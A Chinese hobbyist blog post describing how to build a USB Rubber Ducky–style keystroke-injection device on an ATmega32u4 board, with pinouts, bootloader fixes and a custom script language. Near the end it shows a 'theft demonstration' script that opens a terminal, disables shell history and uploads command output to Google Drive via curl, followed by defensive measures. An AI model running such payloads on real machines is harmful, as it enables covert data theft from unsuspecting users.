在下曾經使用 DigiSpark 配合 ATtiny85 製作模擬鍵盤自動操作
但當需要修改自動操作的內容便需要修改 Sketch 並重新上載程式碼
非常不方便,而且需要特定軟件及技術才能完成修改
因此在下嘗試尋找更好材料及方法完成這個操作
USB Rubber Ducky 是一種由 Hak5公司 製作的 特殊USB裝置
外觀上與一般 USB儲存裝置 相似,但內部就是一塊微控制器(使用 AT32UC3B1256晶片),並附有 Micro SD卡糟
將稱為 Ducky Script 的 腳本資料保存在 Micro SD卡 ,讓微控制器讀取腳本後執行對應指令
在下本來打算購買 USB Rubber Ducky 測試效果,但 USB Rubber Ducky 實在太貴,因此在下尋找其他替代品
在下曾經使用 Arduino 利用 SD卡模組 讀寫 SD卡 ,因此打算使用類似的方式將腳本保存在 SD卡
再使用 Arduino 的開發板根據腳本的特定關鍵內容執行對應指令,製作類似 USB Rubber Ducky 的效果
不過在下不需要完全複製 USB Rubber Ducky 的功能,只需要做到類似的功能即可
要達到目標,需要一款具備 USB功能 的 微控制器
在下曾經使用 Arduino Pro Micro 製作 USB鍵盤 及 DigiSpark 製作 登入USB
還有 Raspberry Pi Pico (W) 的 RP2040 都有支援 USB HID 協定
附有 Micro SD卡糟的 ATmega32u4
在下找到一款類似 DigiSpark ,使用 USB Type-A 插頭,能夠不需要 USB線 便可以連接到 USB插孔
還有附有不需要額外線路就能使用 Micro SD卡糟
(由於找不到名稱,因此在下簡化稱呼為「USB裝置」)
外觀
USB裝置 的 正面
USB裝置 的 背面
ATmega32u4晶片,與 Arduino Leonardo 或 Sparkfun Pro Micro 相同
重設按鈕
D1 LED 及 D2 LED 分別連接到 第13數碼引腳 及 第8數碼引腳
電壓為高時亮著 LED , 第13數碼引腳 支援 10位元PWM
Micro SD卡槽的引腳 已經直接連接到 ATmega32u4 的 SPI引腳
而 SD卡的選取引腳 亦直接連接到 第4數碼引腳
74HC4050D晶片 是一種 六通道高到低電壓轉換器
引腳
USB裝置 總共引出 8支引腳 及 2對 VCC引腳 及 GND引腳
USB方向(正面) | |||
---|---|---|---|
左排引腳 | 右排引腳 | ||
12 | MISO | ||
11 | MOSI | ||
10 | SCK | ||
9 | RST | ||
SCL | 1 | 8 | GND |
SDA | 2 | 7 | VCC |
RX | 3 | ||
TX | 4 | ||
VCC | 5 | ||
GND | 6 |
編號 | 引腳 | 方向 | 功能 |
---|---|---|---|
1 | SCL | 輸入輸出 | 第3數碼引腳;I2C時脈引腳;10位元PWM |
2 | SDA | 輸入輸出 | 第2數碼引腳;I2C資料引腳 |
3 | RX | 輸入輸出 | 第0數碼引腳;UART接收引腳 |
4 | TX | 輸入輸出 | 第1數碼引腳;UART傳送引腳 |
5 | VCC | 電源 | |
6 | GND | 接地 | |
7 | VCC | 電源 | |
8 | GND | 接地 | |
9 | RST | 接地後復原會重設裝置 | |
10 | SCK | 輸入輸出 | 第15數碼引腳;SPI時脈引腳 |
11 | MOSI | 輸入輸出 | 第16數碼引腳;SPI輸出引腳 |
12 | MISO | 輸入輸出 | 第14數碼引腳;SPI輸入引腳 |
D1LED | GP13 | 輸出 | 第13數碼引腳;D1 LED 引腳;高電壓亮著,低電壓熄滅;10位元PWM |
D2LED | GP8 | 輸出 | 第8數碼引腳;D2 LED 引腳;高電壓亮著,低電壓熄滅 |
SD | GP4 | 輸出 | 第4數碼引腳;SD選取引腳;低電壓選取 |
試用
雖然在 Arduino IDE 以 Arduino Micro 相同的設定,但然無法上載 Sketch
原本在 Port 中顯示的 /dev/ttyACM0 消失,顯示錯誤訊息:
Couldn't find a Board on the selected port. Check that you have the correct port selected. If it is correct, try pressing the board's reset button after initialing the upload.
而且 D1 LED 不斷閃動,按 重設按鈕 仍舊不斷閃動,幸好中斷裝置後重新連接,一切恢復正常,亦沒有損壞
在下認為是原廠設定的開發板,並非使用與 Arduino Leonardo 或 Sparkfun Pro Micro 相同的 Bootloader
當 Arduino IDE 嘗試重設時,無法重新偵測到 ATmega32u4 的 Bootloader模式,因此無法上載 Sketch
在下嘗試清除所有資料並重新燒錄 Bootloader 到 ATmega32u4 ,因此需要連接到 ISP 裝置
由於未焊接引腳,因此在下使用爪型探針測試
爪型探針可以直接抓著通孔連接線路
再連接到 Programmer線路
但如果沒有爪型探針亦可以,長針腳的跳線直接穿過通孔,再將引腳壓在通孔上
為避免針腳與另一支針腳接觸,建議還要釘在麵包板上,確保不會短路
由於在下想懶惰點,因此不使用 Arduino as ISP
而是使用 USBASP 將 ATmega32u4 的 Bootloader 重新燒錄
const byte D1 = 13; const byte D2 = 8; void setup() { pinMode(D1, OUTPUT); pinMode(D2, OUTPUT); } void loop() { digitalWrite(D1, !digitalRead(D1)); digitalWrite(D2, !digitalRead(D1)); delay(500); }
重新燒錄 Bootloader 後,便能於 Arduino IDE 上載 Sketch 到 ATmega32u4
以 D1 LED 及 D2 LED 測試上載結果
模仿 USB Rubber Ducky
在下想將裝置設計成類似自動執行操作的 USB工具
但發現很多模仿 USB Rubber Ducky 的程式都只有 鍵盤控制
因此在下希望能加入 滑鼠控制 、 重覆執行腳本內容 、 執行其他腳本檔案,因此安裝 Keyboard.h 及 Mouse.h 函式庫
另外涉及讀取 SD卡內容,還要安裝 SD.h
(雖然在下曾經用自己的方法讀取 SD卡內容 ,但還是使用穩定的函式庫比較安全及方便)
由於根據每行內容執行特定操作,所以判別內容越多,便越佔據更多空間
在只有 32768位元組 ROM (Bootloader 佔據 4096位元組) 及 2560位元組 RAM 的 ATmega32u4 有限的空間上限設計最多功能
功能
由於在下想方便分類,因此使用類似 Arduino 原本的功能名稱來製作
指令 | 參數 | 效果 |
---|---|---|
delay.us | 整數 | 延遲微秒數 |
delay.ms | 整數 | 延遲毫秒數 |
delay.s | 整數 | 延遲秒數 |
delay.m | 整數 | 延遲分鐘 |
delay.h | 整數 | 延遲小時 |
mouse.set-x | 整數 | 由左至右設定滑鼠到熒幕指定X軸位置;如果為負數則由右至左 |
mouse.set-y | 整數 | 由上至下設定滑鼠到熒幕指定Y軸位置;如果為負數則由下至上 |
mouse.offset-x | 整數 | 由左至右設定滑鼠從當前偏移X軸位置;如果為負數則由右至左 |
mouse.offset-y | 整數 | 由上至下設定滑鼠從當前偏移X軸位置;如果為負數則由下至上 |
mouse.scroll | 鍵碼 | 模擬捲動滑鼠滾輪 |
mouse.click | 鍵碼 | 模擬點擊滑鼠指定按鍵 |
mouse.press | 鍵碼 | 模擬按下滑鼠指定按鍵 |
mouse.release | 鍵碼 | 模擬釋放滑鼠指定按鍵 |
mouse.release-all | 鍵碼 | 模擬釋放滑鼠所有按鍵 |
keyboard.print | 字串 | 模擬輸入鍵盤指定文字 |
keyboard.println | 字串 | 模擬輸入鍵盤指定文字,完成後插入換行號 |
keyboard.write | 鍵碼 | 模擬寫入鍵盤指定鍵碼 |
keyboard.press | 鍵碼 | 模擬按下鍵盤指定鍵碼 |
keyboard.release | 鍵碼 | 模擬釋放鍵盤指定鍵碼 |
keyboard.release-all | 鍵碼 | 模擬釋放鍵盤所有鍵碼 |
led.power | 狀態 | 控制 D1 LED 開關 |
i2c.scl | 狀態 | 控制 I2C SCL 開關 |
i2c.sda | 狀態 | 控制 I2C SDA 開關 |
uart.tx | 狀態 | 控制 UART TX 開關 |
uart.rx | 狀態 | 控制 UART RX 開關 |
script.load | 路徑 | 載入並執行指定腳本檔案,但不會執行 script.load 往後的指令 |
script.repeat | 整數 | 重覆執行上一個 script.repeat (或第一個指令) 至 script.repeat 之間的指令 |
引腳狀態
狀態代號 | 對應功能 |
---|---|
on | 開啟 |
off | 關閉 |
toggle | 切換開啟或關閉 |
捲動鍵碼
鍵碼代號 | 對應向方 |
---|---|
up | 向上 |
down | 向下 |
滑鼠鍵碼
鍵碼代號 | 對應按鍵 |
---|---|
left | 左鍵 |
middle | 中鍵 |
right | 右鍵 |
鍵盤鍵碼
鍵碼代號 | 對應按鍵 |
---|---|
ctrl, control, left-ctrl, left-control | 一般鍵盤的左Ctrl鍵 或 Mac鍵盤的左Control鍵 |
shift, left-shift | 左Shift鍵 |
alt, option, left-alt, left-option | 一般鍵盤的左Alt鍵 或 Mac鍵盤的左Option鍵 |
gui, meta, hyper, super, win, window, cmd, command, left-gui, left-meta, left-hyper, left-super, left-win, left-window, left-cmd, left-command | 一般鍵盤的左Win鍵 或 Mac鍵盤的左Cmd鍵 |
right-ctrl, right-control | 一般鍵盤的右Ctrl鍵 或 Mac鍵盤的右Control鍵 |
right-shift | 右Shift鍵 |
right-alt, right-option | 一般鍵盤的右Alt鍵 或 Mac鍵盤的右Option鍵 |
right-gui, right-meta, right-hyper, right-super, right-win, right-window, right-cmd, right-command | 一般鍵盤的右Win鍵 或 Mac鍵盤的右Cmd鍵 |
arrow-up | 上箭咀鍵 |
arrow-down | 下箭咀鍵 |
arrow-left | 左箭咀鍵 |
arrow-right | 右箭咀鍵 |
backspace | 一般鍵盤的退格鍵 或 Mac鍵盤的Delete鍵 |
tab | 製表鍵 |
space | 空白鍵 |
enter, return | 換行鍵 |
menu | 功能表選單鍵 |
esc, escape | 退出鍵 |
insert | 插入鍵 |
delete, del | 刪除鍵 |
page-up | 向上捲頁鍵 |
page-down | 向下捲頁鍵 |
home | 移至最前鍵 |
end | 移至最後鍵 |
caps-lock | 大寫鎖定鍵 |
print-screen | 列印熒幕鍵 |
scroll-lock | 捲動鎖定鍵 |
pause, break | 暫停鍵 |
num-lock | 數字鍵盤鎖定鍵 |
kp/ | 數字鍵盤/鍵 |
kp* | 數字鍵盤*鍵 |
kp- | 數字鍵盤-鍵 |
kp+ | 數字鍵盤+鍵 |
kpe | 數字鍵盤enter鍵 |
kp1 | 數字鍵盤1鍵 |
kp2 | 數字鍵盤2鍵 |
kp3 | 數字鍵盤3鍵 |
kp4 | 數字鍵盤4鍵 |
kp5 | 數字鍵盤5鍵 |
kp6 | 數字鍵盤6鍵 |
kp7 | 數字鍵盤7鍵 |
kp8 | 數字鍵盤8鍵 |
kp9 | 數字鍵盤9鍵 |
kp0 | 數字鍵盤0鍵 |
kp. | 數字鍵盤.鍵 |
f1 | 功能1鍵 |
f2 | 功能2鍵 |
f3 | 功能3鍵 |
f4 | 功能4鍵 |
f5 | 功能5鍵 |
f6 | 功能6鍵 |
f7 | 功能7鍵 |
f8 | 功能8鍵 |
f9 | 功能9鍵 |
f10 | 功能10鍵 |
f11 | 功能11鍵 |
f12 | 功能12鍵 |
f13 | 功能13鍵 |
f14 | 功能14鍵 |
f15 | 功能15鍵 |
f16 | 功能16鍵 |
f17 | 功能17鍵 |
f18 | 功能18鍵 |
f19 | 功能19鍵 |
f20 | 功能20鍵 |
f21 | 功能21鍵 |
f22 | 功能22鍵 |
f23 | 功能23鍵 |
f24 | 功能24鍵 |
在下同樣模仿 Arduino 的 Keyboard.h 及 Mouse.h 的常數名稱
鍵盤效果
keyboard.print hell keyboard.print o, w keyboard.println orld keyboard.press shift script.repeat 0 keyboard.write arrow-left script.repeat 12 keyboard.release shift keyboard.press ctrl keyboard.write c script.repeat 0 keyboard.write v script.repeat 10 keyboard.release ctrl
測試內容說明:
- 輸入 hell
- 輸入 o, w
- 輸入 orld (即是 hello, world ,故意分開輸入),並換行
- 按下 shift
-
- 重覆 0次 (設定 重覆點)
- 寫入 左箭咀
-
- 重覆 12次
- 釋放 shift
- 按下 ctrl
- 寫入 c
-
- 重覆 0次 (設定 重覆點)
- 寫入 v
-
- 重覆 10次
- 釋放 ctrl
滑鼠效果
mouse.set-x 200 mouse.set-y 200 mouse.press left delay.ms 100 mouse.offset-x 100 delay.ms 100 mouse.offset-y 100 delay.ms 100 mouse.offset-x -100 delay.ms 100 mouse.offset-y -100 delay.ms 100 mouse.release left
測試內容說明:
- 設定滑鼠X座標為 200
- 設定滑鼠Y座標為 200
- 按下滑鼠左鍵
- 延遲100毫秒 (確保按下)
- 向右偏移滑鼠X座標 200
- 延遲100毫秒 (確保水平移動)
- 向下偏移滑鼠Y座標 200
- 延遲100毫秒 (確保垂直移動)
- 向左偏移滑鼠X座標 200
- 延遲100毫秒 (確保水平移動)
- 向上偏移滑鼠Y座標 200
- 延遲100毫秒 (確保垂直移動)
- 釋放滑鼠左鍵
補充資料
ATmega32u4 Bootloader
由於 Arduino Leonardo 及 Sparkfun Pro Micro 都是使用 ATmega32u4
因此使用 Arduino Leonardo 或 Sparkfun Pro Micro 都能將適合的 Bootloader 錄到 ATmega32u4
但兩者燒錄結果略有不同
安裝 Arduino Leonardo 的 Bootloader 後, D1 LED 會 每1秒閃動;按動重設按鈕後 D1 LED 會顯示 8秒呼吸燈效果,然後正式啟動
安裝 Sparkfun Pro Micro 的 Bootloader 後, D1 LED 會顯示 呼吸燈效果;按動重設按鈕後 會靜止 1秒,然後正式啟動
如果想 按動重設按鈕 後,不想花太多時間等待,使用 Sparkfun Pro Micro 的 Bootloader 會比較快
需要使用 Sparkfun Pro Micro 版本的 Bootloader ,可以在 Additional Boards Manager URLs: 加入
https://raw.githubusercontent.com/sparkfun/Arduino_Boards/master/IDE_Board_Manager/package_sparkfun_index.json
並搜尋、安裝 SparkFun AVR Boards ,使用時選擇 SparkFun AVR Boards > SparkFun Pro Micro
使用時要將 Processor 更改為 ATmega32u4 (5V, 16MHz)
SD.h 使用較舊的 FAT ,檔案名不能多於8個字元,副檔名不能多於3個字元 (8.3命名規則)
否則即使檔案存在,但仍然無法讀取
雖然 AVR-C 的字串支援 32767位元組 字串,但受微控制器的 RAM 的容量限制
例如 ATmega32u4 有 2560位元組 RAM ,在實際情況下 RAM 還需要保存其他資料
所以最好將長字串分割成多個短字串,才讀取 SD卡 的文字資料,避免因為 RAM 不足導致讀取及保存失敗
如果沒有這款 USB裝置 ,使用 Arduino Pro Micro 連接到 SD卡模組 亦可
由於 SD卡 的工作電壓為 3.0V 至 3.6V ,而 Arduino Pro Micro 沒有 3.3V 輸出
若果 SD卡模組 電源引腳 或 SPI引腳 沒有 3.3V穩壓器
必須使用 電壓分配規則(Voltage Divider Rule) 或 電壓轉換器(Logic Level Converter)
電壓分配規則
電壓分配規則 接駁方法
邏輯電壓轉換器
由於並非所有電子零件都使用相同電壓,例如 ATmega32u4 接受 5V ,但 SD卡 接受 3.3V
如果將 5V電源 連接到 SD卡 ,好大機會會損壞 SD卡
使用 電壓分配規則 雖然能夠將 邏輯電壓 調整成需要的範圍,但如果有大量引腳都需要轉換,便需要大量電阻
邏輯電壓轉換器 能夠設置 高邏輯電壓 及 低邏輯電壓,再從 通道 轉換成需要的 邏輯電壓
通道越多,便越減省電壓分配規則的電阻數量
一些邏輯電壓轉換器還提供 相向轉換 ,可以根據輸入向方自動調節 高至低 或 低至高 的邏輯電壓輸出
電壓轉換器 接駁方法
電壓分配規則計算器
電壓分配規則方程式
電源電壓: | |
電阻值1: | |
電阻值2: |
總結
Ducky Script 是一種專為 USB Rubber Ducky 執行的腳本程式碼,稱為 負載(Payload)
有些使用者製作將 Ducky Script 轉換為 Arduino Sketch 的 AVR-C 語法的工具,並能在支援 USB HID 的開發板中使用
但由於 Ducky Script 很多轉換器已經沒有維護,部分連結已經失效
亦有部分因為無法追上 Ducky Script 的新版本,將 Ducky Script 轉換為 Arduino Sketch 時會出錯
但其實如果分析 Ducky Script 的內容,其實能夠人手轉換
USB Rubber Ducky 面世時,由於其偽裝成一般 USB儲存裝置 的設計而將這種 USB裝置 稱為 BadUSB
BadUSB 能輕易盜取及破壞被入侵的裝置,在電視劇 Mr.Robot 其中一幕就是使用 USB Rubber Ducky 盜取資料
但這種攻擊很依賴被入侵的裝置的系統類型、存取權限、能執行的軟件、性能因素而影響攻擊成效
雖然在下無法查看所有 負載 的內容,但單純在 Hak5 的 Payload Hub 的中的描述及語法
第1頁共18個項目
- 13個項目是關於 Windows (指定 10 或 11)
- 3個項目是關於 Mac OS
- 1個項目是關於 Linux (指定 Debian)
- 1個項目已經失效
基本上都是針對 Windows
由於主要是透過 指令操作 ,因此都是以 執行 或 終端機 開始,腳本最初大致上都是:
- Windows 為
GUI r DELAY 500 STRINGLN powershell ENTER DELAY 500
- Mac OS 為
GUI SPACE DELAY 1000 STRING terminal ENTER DELAY 2000
- Linux 為
CTRL-ALT t DELAY 2000
在下發現並非所有 Linux 都是使用 Ctrl-Alt T 開啟終端機或執行功能,而是受 桌面環境 限制
例如在下使用 Mate桌面環境 是使用 Alt F2 ,因此 Ctrl-Alt T 對使用 Mate 的 Linux 沒有效果
(除非剛好開啟動 Terminal 並連接 BadUSB)
而且當輸入法並非英文時,虛擬鍵盤無法輸入英文指令,同樣無法產生效用
盜取示範
keyboard.press alt keyboard.write f2 keyboard.release alt delay.s 1 keyboard.println mate-terminal delay.s 2 keyboard.println unset HISTFILE keyboard.println cmd="uname -a" keyboard.println curl -sL \ keyboard.println --request "POST" \ keyboard.println --header "Authorization: Bearer "`curl -sL \ keyboard.println --request "POST" \ keyboard.println --header "Content-Type: application/x-www-form-urlencoded" \ keyboard.println --data "client_id=<hidden>" \ keyboard.println --data "client_secret=<hidden>" \ keyboard.println --data "refresh_token=<hidden>" \ keyboard.println --data "grant_type=refresh_token" \ keyboard.println "https://www.googleapis.com/oauth2/v3/token" \ keyboard.println | grep "access_token" \ keyboard.println | sed -r 's/.*: ?"([^"]+)".*/\1/g'` \ keyboard.println --header "Content-Type: multipart/related; boundary=boundary" \ keyboard.println --data-binary "--boundary keyboard.println Content-Type: application/json keyboard.println keyboard.println {\"name\":\"`date "+%Y-%m-%d-%H-%M-%S"`.txt\",\"description\":\"${cmd}\"} keyboard.println --boundary keyboard.println Content-Type: text/plain keyboard.println keyboard.println `eval "${cmd}"` keyboard.println --boundary--" \ keyboard.println "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"; exit
以上是一個示範,盜取 Linux核心版本 的資料
盜取資料的方法主要都是將資料 收集成一個文字檔案 ,或直接 使用指令輸出資料
再使用 Curl 之類能夠發送 HTTP請求 的指令工具,將 檔案上載到指定伺服器或雲端儲存服務
因此如果電腦系統沒有安裝 Curl 之類工具,基本上是無法達成
(雖然能從網上下載,但要下載時間無法確定)
防護方法
剛才提及到將檔案上載到指定伺服器或雲端儲存服務
即是盜取資料需要攻擊者提供 伺服器 或 雲端儲存服務 的 帳戶 或 存取令牌(Access Token) ,其實有被反擊的風險
(所以示範的內容及影片中,在下將敏感資料隱藏
Terminal 可以輸入 stty -echo 來隱藏所有輸入內容,只是在下想影片中有高速自動輸入的效果)
在下不是輕視 BadUSB 攻擊,而是 BadUSB 要盜取資料其實並不容易
但 BadUSB 直接毀滅資料 則非常簡單,只需要一句指令就可以毀滅所有資料
物理上可以使用 USB隔離器 ,只容許電源引腳及接地引腳,但這種方法只適合只需要差電的裝置
一些防毒軟件公司提出當電腦識別到連接的 USB裝置 屬於 HID 時
例如 USB鍵盤 , 需要輸入配對碼 (類似藍牙鍵盤配對的方式),配對正確才能連接
但需要安裝該防毒軟件公司的軟件
在 Linux 上,可以使用 udev規則 限制 USB裝置 的 Vender ID 及 Product ID 的連接許可
但當需要使用的 USB裝置 使用相同 Vender ID 及 Product ID 則會無法使用該 USB裝置
比起這些大量不確定性的盜取及攻擊,在下覺得協助自己完成一些自動化操作的功能更有用
在下程式碼上載至 create.arduino.cc ,閣下有興趣可以自行修改及使用
沒有留言 :
張貼留言